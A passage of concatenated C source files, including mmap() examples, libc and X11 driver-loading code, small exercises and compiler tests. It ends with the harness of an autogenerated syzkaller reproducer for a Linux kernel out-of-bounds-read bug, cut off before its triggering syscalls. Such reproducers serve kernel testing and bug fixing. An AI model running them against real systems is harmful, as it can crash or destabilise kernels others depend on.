exit(EXIT_FAILURE);
}
close(fd);
}
// File-backed, shared example---write to file.
void writeExample()
{
createFile("hello world");
int fd = open(FILENAME, O_RDWR);
size_t mmapLen = 15;
off_t offset = 0; // offset to seek to.
// We use MAP_SHARED to write changes back to file.
char *ptr = (char*) mmap(NULL, mmapLen,
PROT_READ|PROT_WRITE, MAP_SHARED,
fd, offset);
if(ptr == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
printf("Before we change the file. Should say hello world: %s\n", ptr);
ptr[0] = 'J';
printf("After we change the mmap'd memory. Should say hello world: %s\n", ptr);
printf("File after we change mmap'd memory is undefined before we call msync():\n");
printFile();
msync(ptr, mmapLen, MS_SYNC);
printf("File after we change mmap'd memory contains all changes after we call msync():\n");
printFile();
if(munmap(ptr, mmapLen) == -1)
{
perror("munmap");
exit(EXIT_FAILURE);
}
close(fd);
}
// anonymous, private example
void mmapAlloc()
{
// mmap can be used to allocate memory---just like malloc(). If
// MAP_ANONYMOUS isn't available, you can try mapping the special
// file /dev/zero.
size_t mmapLen = 8;
char *ptr = (char*) mmap(NULL, mmapLen,
PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE,
-1, 0);
if(ptr == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
// ptr can be used just like malloc (note: using malloc() is
// easier than allocating memory this way!)
if(munmap(ptr, mmapLen) == -1)
{
perror("munmap");
exit(EXIT_FAILURE);
}
}
// anonymous private example
void mmapAnonPrivate()
{
// We use MAP_ANONYMOUS to create a section of memory that we can
// use, but isn't associated with a file.
size_t mmapLen = 8;
char *ptr = (char*) mmap(NULL, mmapLen,
PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE,
-1, 0);
if(ptr == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
printf("memory is initialized to zero with MAP_ANONYMOUS\n");
for(unsigned int i=0; i<mmapLen; i++)
printf("ptr[%u] = %d\n", i, ptr[i]);
if(fork() == 0)
{
// If we are the child, print out the data.
for(unsigned int i=0; i<mmapLen; i++)
printf("child: ptr[%u] = %d\n", i, ptr[i]);
#if 0
// child won't ever see the changes the parent makes:
printf("Child is waiting.\n");
while(ptr[mmapLen-1] == 0); // wait for parent to change values
printf("Child is done waiting.\n");
for(unsigned int i=0; i<mmapLen; i++)
printf("child ptr[%u] = %d\n", i, ptr[i]);
#endif
printf("Child exited\n");
exit(EXIT_SUCCESS);
}
printf("Parent is writing data to the mmap'd area\n");
for(unsigned int i=0; i<mmapLen; i++)
ptr[i] = i;
printf("Parent is done writing data to the mmap'd area\n");
printf("Parent is waiting for the child to finish\n");
wait(NULL); // wait for child to finish.
printf("Parent detected that child exited.\n");
printf("Contents after we store values in memory.\n");
for(unsigned int i=0; i<mmapLen; i++)
printf("ptr[%u] = %d\n", i, ptr[i]);
if(munmap(ptr, mmapLen) == -1)
{
perror("munmap");
exit(EXIT_FAILURE);
}
}
// anonymous, shared example
void mmapAnonShared()
{
// We use MAP_ANONYMOUS to create a section of memory that we can
// use, but isn't associated with a file.
size_t mmapLen = 8;
char *ptr = (char*) mmap(NULL, mmapLen,
PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED,
-1, 0);
if(ptr == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
printf("memory is initialized to zero with MAP_ANONYMOUS\n");
for(unsigned int i=0; i<mmapLen; i++)
printf("ptr[%u] = %d\n", i, ptr[i]);
// We should check to see if fork() returns -1 to indicate an
// error occurred.
if(fork() == 0)
{
// The parent and child processes are now sharing the same piece of memory.
for(unsigned int i=0; i<mmapLen; i++)
printf("child: ptr[%u] = %d\n", i, ptr[i]);
printf("Child is putting non-zero data at the beginning of the mmap'd area\n");
ptr[0] = 42; // indicate to parent that we printed stuff out.
printf("Child is waiting for non-zero data at the end of the mmap'd area...\n");
while(ptr[mmapLen-1] == 0) { sleep(1); }; // wait for parent to change values
printf("Child is done waiting.\n");
for(unsigned int i=0; i<mmapLen; i++)
printf("child ptr[%u] = %d\n", i, ptr[i]);
printf("Child exited.\n");
exit(EXIT_SUCCESS);
}
/* NOTE: In this example, we are setting values in the shared
* memory to "communicate" between processes. However, it would be
* better to use a proper mutex.*/
printf("Parent is waiting for non-zero data in the beginning of the mmap'd area.\n");
while(ptr[0] != 42) { sleep(1); };
printf("Parent is done waiting, writing data into entire mmap'd area...\n");
for(unsigned int i=0; i<mmapLen; i++)
ptr[i] = i;
printf("Parent is done writing data\n");
printf("Parent is waiting for the child to finish\n");
wait(NULL); // wait for child to finish.
printf("Parent detected that child exited.\n");
printf("Contents after we store values in memory.\n");
for(unsigned int i=0; i<mmapLen; i++)
printf("ptr[%u] = %d\n", i, ptr[i]);
if(munmap(ptr, mmapLen) == -1)
{
perror("munmap");
exit(EXIT_FAILURE);
}
}
int main(void)
{
printf("================= SUMMARY OF MMAP() OPTIONS ===================\n");
printf(" | File-backed (default) | Anonymous \n");
printf("--------+----------------------------+-------------------------\n");
printf("Private:| Init memory based on file. | Like malloc(), init to 0\n");
printf("--------+----------------------------+-------------------------\n");
printf("Shared: | Init memory based on file. | Share memory between \n");
printf(" | Write to file when done. | processes. Init to 0. \n");
printf(" | Shared between processes. | \n");
printf("\n\n--- readExample() ---\n");
readExample();
printf("\n\n--- readExampleChange() ---\n");
readExampleChange();
printf("\n\n--- writeExample() ---\n");
writeExample();
printf("\n\n--- mmapAlloc() ---\n");
mmapAlloc();
printf("\n\n--- mmapAnonPrivate() ---\n");
mmapAnonPrivate();
printf("\n\n--- mmapAnonShared() ---\n");
mmapAnonShared();
}
|
the_stack_data/508102.c | /* dietlibc */
#include <stddef.h>
extern int __mark(int);
int strncmp(const char *s1, const char *s2, size_t n) {
register const unsigned char *a = (const unsigned char *)s1;
register const unsigned char *b = (const unsigned char *)s2;
register const unsigned char *fini = a + n;
while (a != fini) {
register int res = *a - *b;
if (res)
return res;
if (!*a)
return 0;
++a;
++b;
__mark(42);
}
return 0;
}
|
the_stack_data/154831585.c | #include <stdio.h>
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
#define container_of(ptr, type, member) \
((type *)((char *)(ptr) - offsetof(type, member)))
/* Reference Counter Structure */
struct ref {
void (*free)(const struct ref *);
uint8_t count;
};
static inline void ref_inc (const struct ref *ref) {
((struct ref *)ref)->count++;
}
static inline void ref_dec (const struct ref *ref) {
if (--((struct ref *)ref)->count == 0)
ref->free(ref);
}
static inline void ref_inc_ts (const struct ref *ref) {
__sync_add_and_fetch((int *)&ref->count, 1);
}
static inline void ref_dec_ts (const struct ref *ref) {
if (__sync_sub_and_fetch((int *)&ref->count, 1) == 0)
ref->free(ref);
}
/* Example List {{{ */
struct node {
char id[64];
float value;
struct node *next;
struct ref refcount; /* extra 16 bytes */
};
static void node_free (const struct ref *ref) {
struct node *node = container_of(ref, struct node, refcount);
struct node *child = node->next;
free(node);
if (child) ref_dec_ts(&child->refcount);
}
struct node *node_create (char *id, float value) {
struct node *node = malloc(sizeof(*node));
snprintf(node->id, sizeof(node->id), "%s", id);
node->value = value;
node->next = NULL;
node->refcount = (struct ref){node_free, 1};
return node;
}
void node_push (struct node **nodes, char *id, float value) {
struct node *node = node_create(id, value);
node->next = *nodes;
*nodes = node;
}
struct node *node_pop (struct node **nodes) {
struct node *node = *nodes;
*nodes = (*nodes)->next;
if (*nodes) ref_inc_ts(&(*nodes)->refcount);
return node;
}
void node_print (struct node *node) {
for (; node; node = node->next)
printf("%s = %f\n", node->id, node->value);
}
int main (void) {
struct node *nodes = NULL;
char id[64];
float value;
while (scanf(" %63s %f", id, &value) == 2)
node_push(&nodes, id, value);
if (nodes != NULL) {
node_print(nodes);
struct node *old = node_pop(&nodes);
node_push(&nodes, "foobar", 0.0f);
node_print(nodes);
ref_dec_ts(&old->refcount);
ref_dec(&nodes->refcount);
}
return 0;
}
/* }}} */
|
the_stack_data/211081741.c | /*
* Generated with test/generate_buildtest.pl, to check that such a simple
* program builds.
*/
#include <openssl/opensslconf.h>
#ifndef OPENSSL_NO_STDIO
# include <stdio.h>
#endif
#ifndef OPENSSL_NO_WHRLPOOL
# include <openssl/whrlpool.h>
#endif
int main(void)
{
return 0;
}
|
the_stack_data/80017.c | // translated program test
#include <stdio.h>
int a, b, c;
char * s;
int main () {
s = "Hello_world";
printf ("%s\n", s);
s = "Enter_two_numbers:";
printf ("%s\n", s);
scanf ("%d %d", &a, &b);
a = a * 2;
b = (a * 2) * (a + 3);
if (a > b) {
if (b < 10) {
a = b;
} else {
if (b > 10) {
a = b / 2;
} else {
a = 0;
}
}
}
for (c = (b + 1) * 2; c >= 0; c --) {
a = a + c;
while (a > 2) {
a = a - 1;
}
}
s = "Result:";
printf ("%s %d %d %d\n", s, a, b, c);
a = 10;
b = 3;
s = "div_and_mod_test";
printf ("%s %d %d\n", s, a, b);
c = a / b;
s = "div_a";
printf ("%s %d\n", s, c);
c = a % b;
s = "mod_a";
printf ("%s %d\n", s, c);
a = 10;
do {
printf ("%d\n", a);
a = a - 1;
} while (!(a >= 0));
return 0;
}
|
the_stack_data/641325.c | /**************************************************************************
Copyright 1998-1999 Precision Insight, Inc., Cedar Park, Texas.
All Rights Reserved.
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sub license, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice (including the
next paragraph) shall be included in all copies or substantial portions
of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
**************************************************************************/
/* $XFree86: xc/lib/GL/glx/dri_glx.c,v 1.2 2005/10/14 15:15:55 tsi Exp $ */
/*
* Authors:
* Kevin E. Martin <[email protected]>
* Brian Paul <[email protected]>
*
*/
#ifdef GLX_DIRECT_RENDERING
#include <unistd.h>
#include <X11/Xlibint.h>
#include <X11/extensions/Xext.h>
#include <X11/extensions/extutil.h>
#include "glxclient.h"
#include "xf86dri.h"
#include "sarea.h"
#include <stdio.h>
#include <dlfcn.h>
#include "dri_glx.h"
#include <sys/types.h>
#include <stdarg.h>
#ifndef RTLD_NOW
#define RTLD_NOW 0
#endif
#ifndef RTLD_GLOBAL
#define RTLD_GLOBAL 0
#endif
#ifdef BUILT_IN_DRI_DRIVER
extern void *__driCreateScreen(Display *dpy, int scrn, __DRIscreen *psc,
int numConfigs, __GLXvisualConfig *config);
#else /* BUILT_IN_DRI_DRIVER */
#ifndef DEFAULT_DRIVER_DIR
/* this is normally defined in the Imakefile */
#define DEFAULT_DRIVER_DIR "/usr/X11R6/lib/modules/dri"
#endif
static __DRIdriver *Drivers = NULL;
/*
* printf wrappers
*/
static void InfoMessageF(const char *f, ...)
{
va_list args;
const char *env;
if ((env = getenv("LIBGL_DEBUG")) && strstr(env, "verbose")) {
fprintf(stderr, "libGL: ");
va_start(args, f);
vfprintf(stderr, f, args);
va_end(args);
}
}
static void ErrorMessageF(const char *f, ...)
{
va_list args;
if (getenv("LIBGL_DEBUG")) {
fprintf(stderr, "libGL error: ");
va_start(args, f);
vfprintf(stderr, f, args);
va_end(args);
}
}
/*
* We'll save a pointer to this function when we couldn't find a
* direct rendering driver for a given screen.
*/
static void *DummyCreateScreen(Display *dpy, int scrn, __DRIscreen *psc,
int numConfigs, __GLXvisualConfig *config)
{
(void) dpy;
(void) scrn;
(void) psc;
(void) numConfigs;
(void) config;
return NULL;
}
/*
* Extract the ith directory path out of a colon-separated list of
* paths.
* Input:
* index - index of path to extract (starting at zero)
* paths - the colon-separated list of paths
* dirLen - max length of result to store in <dir>
* Output:
* dir - the extracted directory path, dir[0] will be zero when
* extraction fails.
*/
static void ExtractDir(int index, const char *paths, int dirLen, char *dir)
{
int i, len;
const char *start, *end;
/* find ith colon */
start = paths;
i = 0;
while (i < index) {
if (*start == ':') {
i++;
start++;
}
else if (*start == 0) {
/* end of string and couldn't find ith colon */
dir[0] = 0;
return;
}
else {
start++;
}
}
while (*start == ':')
start++;
/* find next colon, or end of string */
end = start + 1;
while (*end != ':' && *end != 0) {
end++;
}
/* copy string between <start> and <end> into result string */
len = end - start;
if (len > dirLen - 1)
len = dirLen - 1;
strncpy(dir, start, len);
dir[len] = 0;
}
/*
* Try to dlopen() the named driver. This function adds the
* "_dri.so" suffix to the driver name and searches the
* directories specified by the LIBGL_DRIVERS_PATH env var
* in order to find the driver.
* Input:
* driverName - a name like "tdfx", "i810", "mga", etc.
* Return:
* handle from dlopen, or NULL if driver file not found.
*/
static __DRIdriver *OpenDriver(const char *driverName)
{
char *libPaths = NULL;
int i;
__DRIdriver *driver;
/* First, search Drivers list to see if we've already opened this driver */
for (driver = Drivers; driver; driver = driver->next) {
if (strcmp(driver->name, driverName) == 0) {
/* found it */
return driver;
}
}
if (geteuid() == getuid()) {
/* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
libPaths = getenv("LIBGL_DRIVERS_PATH");
if (!libPaths)
libPaths = getenv("LIBGL_DRIVERS_DIR"); /* deprecated */
}
if (!libPaths)
libPaths = DEFAULT_DRIVER_DIR;
for (i = 0; ; i++) {
char libDir[1000], realDriverName[200];
void *handle;
ExtractDir(i, libPaths, 1000, libDir);
if (!libDir[0])
break; /* ran out of paths to search */
snprintf(realDriverName, 200, "%s/%s_dri.so", libDir, driverName);
InfoMessageF("OpenDriver: trying %s\n", realDriverName);
handle = dlopen(realDriverName, RTLD_NOW | RTLD_GLOBAL);
if (handle) {
/* allocate __DRIdriver struct */
driver = (__DRIdriver *) Xmalloc(sizeof(__DRIdriver));
if (!driver)
return NULL; /* out of memory! */
/* init the struct */
driver->name = __glXstrdup(driverName);
if (!driver->name) {
Xfree(driver);
return NULL; /* out of memory! */
}
driver->createScreenFunc = (CreateScreenFunc)
dlsym(handle, "__driCreateScreen");
driver->createNewScreenFunc = (CreateNewScreenFunc)
dlsym(handle, "__driCreateNewScreen");
if ( (driver->createScreenFunc == NULL)
&& (driver->createNewScreenFunc == NULL) ) {
/* If the driver doesn't have this symbol then something's
* really, really wrong.
*/
ErrorMessageF("Neither __driCreateScreen or __driCreateNewScreen "
"are defined in %s_dri.so!\n", driverName);
Xfree(driver);
dlclose(handle);
continue;
}
driver->handle = handle;
/* put at head of linked list */
driver->next = Drivers;
Drivers = driver;
return driver;
}
else {
ErrorMessageF("dlopen %s failed (%s)\n", realDriverName, dlerror());
}
}
ErrorMessageF("unable to find driver: %s_dri.so\n", driverName);
return NULL;
}
/*
* Given a display pointer and screen number, determine the name of
* the DRI driver for the screen. (I.e. "r128", "tdfx", etc).
* Return True for success, False for failure.
*/
static Bool GetDriverName(Display *dpy, int scrNum, char **driverName)
{
int directCapable;
Bool b;
int driverMajor, driverMinor, driverPatch;
*driverName = NULL;
if (!XF86DRIQueryDirectRenderingCapable(dpy, scrNum, &directCapable)) {
ErrorMessageF("XF86DRIQueryDirectRenderingCapable failed\n");
return False;
}
if (!directCapable) {
ErrorMessageF("XF86DRIQueryDirectRenderingCapable returned false\n");
return False;
}
b = XF86DRIGetClientDriverName(dpy, scrNum, &driverMajor, &driverMinor,
&driverPatch, driverName);
if (!b) {
ErrorMessageF("Cannot determine driver name for screen %d\n", scrNum);
return False;
}
InfoMessageF("XF86DRIGetClientDriverName: %d.%d.%d %s (screen %d)\n",
driverMajor, driverMinor, driverPatch, *driverName, scrNum);
return True;
}
/*
* Given a display pointer and screen number, return a __DRIdriver handle.
* Return NULL if anything goes wrong.
*/
__DRIdriver *driGetDriver(Display *dpy, int scrNum)
{
char *driverName;
if (GetDriverName(dpy, scrNum, &driverName)) {
__DRIdriver *ret;
ret = OpenDriver(driverName);
if (driverName)
Xfree(driverName);
return ret;
}
return NULL;
}
/*
* Exported function for querying the DRI driver for a given screen.
*
* The returned char pointer points to a static array that will be
* overwritten by subsequent calls.
*/
const char *glXGetScreenDriver (Display *dpy, int scrNum) {
static char ret[32];
char *driverName;
if (GetDriverName(dpy, scrNum, &driverName)) {
int len;
if (!driverName)
return NULL;
len = strlen (driverName);
if (len >= 31)
return NULL;
memcpy (ret, driverName, len+1);
Xfree(driverName);
return ret;
}
return NULL;
}
/*
* Exported function for obtaining a driver's option list (UTF-8 encoded XML).
*
* The returned char pointer points directly into the driver. Therefore
* it should be treated as a constant.
*
* If the driver was not found or does not support configuration NULL is
* returned.
*
* Note: The driver remains opened after this function returns.
*/
const char *glXGetDriverConfig (const char *driverName) {
__DRIdriver *driver = OpenDriver (driverName);
if (driver)
return dlsym (driver->handle, "__driConfigOptions");
else
return NULL;
}
#endif /* BUILT_IN_DRI_DRIVER */
/* This function isn't currently used.
*/
static void driDestroyDisplay(Display *dpy, void *private)
{
__DRIdisplayPrivate *pdpyp = (__DRIdisplayPrivate *)private;
if (pdpyp) {
const int numScreens = ScreenCount(dpy);
int i;
for (i = 0; i < numScreens; i++) {
if (pdpyp->libraryHandles[i])
dlclose(pdpyp->libraryHandles[i]);
}
Xfree(pdpyp->libraryHandles);
Xfree(pdpyp);
}
}
/*
* Allocate, initialize and return a __DRIdisplayPrivate object.
* This is called from __glXInitialize() when we are given a new
* display pointer.
*/
void *driCreateDisplay(Display *dpy, __DRIdisplay *pdisp)
{
const int numScreens = ScreenCount(dpy);
__DRIdisplayPrivate *pdpyp;
int eventBase, errorBase;
int major, minor, patch;
int scrn;
/* Initialize these fields to NULL in case we fail.
* If we don't do this we may later get segfaults trying to free random
* addresses when the display is closed.
*/
pdisp->private = NULL;
pdisp->destroyDisplay = NULL;
pdisp->createScreen = NULL;
if (!XF86DRIQueryExtension(dpy, &eventBase, &errorBase)) {
return NULL;
}
if (!XF86DRIQueryVersion(dpy, &major, &minor, &patch)) {
return NULL;
}
pdpyp = (__DRIdisplayPrivate *)Xmalloc(sizeof(__DRIdisplayPrivate));
if (!pdpyp) {
return NULL;
}
pdpyp->driMajor = major;
pdpyp->driMinor = minor;
pdpyp->driPatch = patch;
pdisp->destroyDisplay = driDestroyDisplay;
/* allocate array of pointers to createScreen funcs */
pdisp->createScreen = (CreateScreenFunc *) Xmalloc(numScreens * sizeof(void *));
if (!pdisp->createScreen) {
Xfree(pdpyp);
return NULL;
}
/* allocate array of pointers to createScreen funcs */
pdisp->createNewScreen = (CreateNewScreenFunc *) Xmalloc(numScreens * sizeof(void *));
if (!pdisp->createNewScreen) {
Xfree(pdisp->createScreen);
Xfree(pdpyp);
return NULL;
}
/* allocate array of library handles */
pdpyp->libraryHandles = (void **) Xmalloc(numScreens * sizeof(void*));
if (!pdpyp->libraryHandles) {
Xfree(pdisp->createNewScreen);
Xfree(pdisp->createScreen);
Xfree(pdpyp);
return NULL;
}
#ifdef BUILT_IN_DRI_DRIVER
/* we'll statically bind to the built-in __driCreateScreen function */
for (scrn = 0; scrn < numScreens; scrn++) {
pdisp->createScreen[scrn] = __driCreateScreen;
pdisp->createNewScreen[scrn] = NULL;
pdpyp->libraryHandles[scrn] = NULL;
}
#else
/* dynamically discover DRI drivers for all screens, saving each
* driver's "__driCreateScreen" function pointer. That's the bootstrap
* entrypoint for all DRI drivers.
*/
for (scrn = 0; scrn < numScreens; scrn++) {
__DRIdriver *driver = driGetDriver(dpy, scrn);
if (driver) {
pdisp->createScreen[scrn] = driver->createScreenFunc;
pdisp->createNewScreen[scrn] = driver->createNewScreenFunc;
pdpyp->libraryHandles[scrn] = driver->handle;
}
else {
pdisp->createScreen[scrn] = DummyCreateScreen;
pdisp->createNewScreen[scrn] = NULL;
pdpyp->libraryHandles[scrn] = NULL;
}
}
#endif
return (void *)pdpyp;
}
#endif /* GLX_DIRECT_RENDERING */
|
the_stack_data/93887559.c | #include<stdio.h>
#include<stdlib.h>
typedef struct treenode {
int data;
struct treenode *left;
struct treenode *right;
}treenode;
treenode * newnode(int i) {
treenode *node = (treenode *)malloc(sizeof(treenode));
node->left = NULL;
node->right = NULL;
node->data = i;
return node;
}
void printleft(treenode * node) {
if(node == NULL) {
return;
}
if (node->left) {
printf(" %d ",node->data);
printleft(node->left);
} else if (node->right) {
printf(" %d ",node->data);
printleft(node->right);
}
}
void printright(treenode *node) {
if(node == NULL) {
return;
}
if (node->right) {
printright(node->right);
printf(" %d ",node->data);
} else if (node->left) {
printright(node->left);
printf(" %d ",node->data);
}
}
void printleaves(treenode *node) {
if(node == NULL) {
return;
}
if(node->left == NULL && node->right == NULL) {
printf(" %d ", node->data);
return;
}
printleaves(node->left);
printleaves(node->right);
}
void printboundary(treenode *root) {
printleft(root);
printleaves(root);
printright(root);
}
void main() {
treenode * root = newnode(3);
root->left = newnode(1);
root->right = newnode(5);
root->left->right = newnode(6);
root->left->right->left = newnode(9);
root->left->right->right= newnode(4);
root->right->right= newnode(2);
root->right->right->left= newnode(7);
root->right->right->right= newnode(8);
printboundary(root);
}
|
the_stack_data/60551.c | #include <stdio.h>
#include <stdbool.h>
#include <string.h>
#pragma warning (disable: 4090 4996 5045)
int findSmallerNumbers(const int numbersArray[], const int length, const int maxValue, int resultNumbersArray[])
{
int counter = 0;
for (int i = 0; i < length; i++)
{
if (numbersArray[i] < maxValue)
{
resultNumbersArray[counter] = numbersArray[i];
counter++;
}
}
return counter;
}
int readNumbersFromFile(const char fileName[], int numbersArray[])
{
FILE* numbersFile = fopen(fileName, "r");
if (numbersFile == NULL)
{
return -1;
}
int numbersRead = 0;
while (!feof(numbersFile))
{
int number = 0;
const int countOfReadedNumbers = fscanf(numbersFile, "%d", &number);
if (countOfReadedNumbers < 0)
{
break;
}
numbersArray[numbersRead] = number;
numbersRead++;
}
fclose(numbersFile);
return numbersRead;
}
int writeNumbersToFile(const char filename[], const int numbersArray[], const int count)
{
FILE* numbersFile = fopen(filename, "w");
if (numbersFile == NULL)
{
return -1;
}
for (int i = 0; i < count; i++)
{
fprintf(numbersFile, "%d ", numbersArray[i]);
}
fclose(numbersFile);
return 0;
}
bool compaireTwoIntArrays(int arrayOne[], int arrayTwo[], int length)
{
bool verdict = true;
for (int i = 0; i < length; i++)
{
if (arrayOne[i] != arrayTwo[i])
{
verdict = false;
break;
}
}
return verdict;
}
bool generalTestPassed(void)
{
int numbersArray[100] = { 0 };
const int numbersCount = readNumbersFromFile("f_test.txt", numbersArray);
int maxNumber[1] = { 0 };
const int readingErrorCode = readNumbersFromFile("g_test.txt", maxNumber);
int resultNumbersArray[100] = { 0 };
const int resultNumbersCount = findSmallerNumbers(numbersArray, numbersCount, maxNumber[0], resultNumbersArray);
const int writingErrorCode = writeNumbersToFile("h_test.txt", resultNumbersArray, resultNumbersCount);
int testedNumbersArray[100] = { 0 };
const int correctNumbersArray[3] = { 5, 0, 2 };
readNumbersFromFile("h_test.txt", testedNumbersArray);
return compaireTwoIntArrays(testedNumbersArray, correctNumbersArray, 3);
}
int main(int argc, char* argv[])
{
if (strcmp(argv[1], "1") == 0)
{
if (generalTestPassed())
{
printf("ControlWorkRewrite.sln: Tests Passed!\n");
return 0;
}
printf("ControlWorkRewrite.sln: Tests Failed ...\n");
return 1;
}
int numbersArray[100] = { 0 };
const int numbersCount = readNumbersFromFile("f.txt", numbersArray);
if (numbersCount == -1)
{
printf("Something went wrong ...\n");
return 1;
}
int maxNumber[1] = { 0 };
const int readingErrorCode = readNumbersFromFile("g.txt", maxNumber);
if (readingErrorCode == -1)
{
printf("Something went wrong ...\n");
return 1;
}
int resultNumbersArray[100] = { 0 };
const int resultNumbersCount = findSmallerNumbers(numbersArray, numbersCount, maxNumber[0], resultNumbersArray);
const int writingErrorCode = writeNumbersToFile("h.txt", resultNumbersArray, resultNumbersCount);
if (writingErrorCode == -1)
{
printf("Something went wrong ...\n");
return 1;
}
} |
the_stack_data/47217.c | #include <stdio.h>
int gjdmod(char *s,int x){
int i = 0;
int a,b;
a = s[0] - '0';
b = x;
int c;
while(s[i] != '\0'){
c = a%b;
c *= 10;
i++;
if(s[i] == '\0'){
return c/10;
}
c += s[i] - '0';
a = c;
}
}
int main(){
return 0;
}
|
the_stack_data/187642730.c | #include <curses.h>
int resetty(void)
{
return ERR;
}
/*
XOPEN(4)
LINK(curses)
*/
|
the_stack_data/686125.c | #include <stdio.h>
int main(int argc, char const *argv[])
{
int numId = 0;
scanf("%d", &numId);
printf("%d\n", numId);
return 0;
} |
the_stack_data/232956982.c | /* { dg-do compile } */
/* { dg-require-effective-target arm_neonv2_ok } */
/* { dg-options "-O2 -ftree-vectorize -ffast-math" } */
/* { dg-add-options arm_neonv2 } */
/* { dg-final { scan-assembler "vfma\\.f32\[ \]+\[dDqQ]" } } */
/* Verify that VFMA is used. */
void f1(int n, float a, float x[], float y[]) {
int i;
for (i = 0; i < n; ++i)
y[i] = a * x[i] + y[i];
}
|
the_stack_data/76700667.c | #include <stdio.h>
int main()
{
int age = 35;
int days = age*365;
printf("age = %d\ndays = %d\n", age, days);
return 0;
}
|
the_stack_data/29826481.c | // KASAN: out-of-bounds Read in __unwind_start
// https://syzkaller.appspot.com/bug?id=61ec9b78979c77b478704a46b43300223433acfe
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i;
for (i = 0; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_RELAXED))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static long syz_open_procfs(long a0, long a1)
{
char buf[128];
memset(buf, 0, sizeof(buf));
if (a0 == 0) {
snprintf(buf, sizeof(buf), "/proc/self/%s", (char*)a1);
} else if (a0 == -1) {
snprintf(buf, sizeof(buf), "/proc/thread-self/%s", (char*)a1);
} else {
snprintf(buf, sizeof(buf), "/proc/self/task/%d/%s", (int)a0, (char*)a1);
}
int fd = open(buf, O_RDWR);
if (fd == -1)
fd = open(buf, O_RDONLY);
return fd;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
#define SYZ_HAVE_SETUP_TEST 1
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
}
#define SYZ_HAVE_RESET_TEST 1
static void reset_test()
{
int fd;
for (fd = 3; fd < 30; fd++)
close(fd);
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
